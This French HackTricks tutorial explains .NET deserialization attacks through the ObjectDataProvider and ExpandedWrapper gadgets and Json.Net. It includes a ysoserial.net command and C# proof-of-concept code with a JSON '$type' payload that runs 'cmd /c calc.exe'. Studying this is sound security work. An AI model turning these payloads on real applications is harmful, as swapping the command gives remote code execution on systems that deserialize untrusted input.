12 KiB
Basic .Net désérialisation (gadget ObjectDataProvider, ExpandedWrapper et Json.Net)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Ce post est dédié à comprendre comment le gadget ObjectDataProvider est exploité pour obtenir une RCE et comment les bibliothèques de sérialisation Json.Net et xmlSerializer peuvent être abusées avec ce gadget.
Gadget ObjectDataProvider
D'après la documentation : la classe ObjectDataProvider enveloppe et crée un objet que vous pouvez utiliser comme source de liaison.
Oui, c'est une explication étrange, alors voyons ce que cette classe a d'intéressant : cette classe permet de wraper un objet arbitraire, d'utiliser les MethodParameters pour définir des paramètres arbitraires, puis d'utiliser MethodName pour appeler une fonction arbitraire de l'objet arbitraire déclaré en utilisant les paramètres arbitraires.
Par conséquent, l'objet arbitraire exécutera une fonction avec des paramètres tout en étant désérialisé.
Comment est-ce possible
Le gadget ObjectDataProvider est défini et implémenté dans l'espace de noms System.Windows.Data, qui se trouve dans le PresentationFramework.dll (C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF).
En utilisant dnSpy, vous pouvez inspecter le code de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode
Comme vous pouvez l'observer, lorsque MethodName
est défini, base.Refresh()
est appelé, regardons ce qu'il fait :
Ok, continuons à voir ce que fait this.BeginQuery()
. BeginQuery
est remplacé par ObjectDataProvider
et voici ce qu'il fait :
Notez qu'à la fin du code, il appelle this.QueryWorke(null)
. Voyons ce que cela exécute :
Notez que ce n'est pas le code complet de la fonction QueryWorker
, mais cela montre la partie intéressante : le code appelle this.InvokeMethodOnInstance(out ex);
c'est la ligne où la méthode définie est invoquée.
Si vous voulez vérifier que la définition de la MethodName suffit pour qu'elle soit exécutée, vous pouvez exécuter ce code :
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Notez que vous devez ajouter en référence C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll afin de charger System.Windows.Data
ExpandedWrapper
En utilisant l'exploit précédent, il y aura des cas où l'objet sera désérialisé en tant qu'instance d' ObjectDataProvider (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant GetType
). Ensuite, il n'y aura aucune connaissance du type d'objet encapsulé dans l'instance ObjectDataProvider (Process
par exemple). Vous pouvez trouver plus d'informations sur la vulnérabilité DotNetNuke ici.
Cette classe permet de spécifier les types d'objets encapsulés dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (ObjectDataProvider) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (ObjectDataProvider.MethodName et ObjectDataProvider.MethodParameters).
Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure d'encapsuler ObjectDataProvider dans une instance de ExpandedWrapper et lors de la désérialisation, cette classe va créer l'objet OjectDataProvider qui va exécuter la fonction indiquée dans MethodName.
Vous pouvez vérifier ce wrapper avec le code suivant:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Sur la page web officielle, il est indiqué que cette bibliothèque permet de sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET. Ainsi, si nous pouvions désérialiser le gadget ObjectDataProvider, nous pourrions causer une RCE simplement en désérialisant un objet.
Exemple Json.Net
Tout d'abord, voyons un exemple de sérialisation/désérialisation d'un objet en utilisant cette bibliothèque :
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abus de Json.Net
En utilisant ysoserial.net, j'ai créé l'exploit :
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Dans ce code, vous pouvez tester l'exploit, il suffit de l'exécuter et vous verrez qu'une calculatrice est exécutée:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.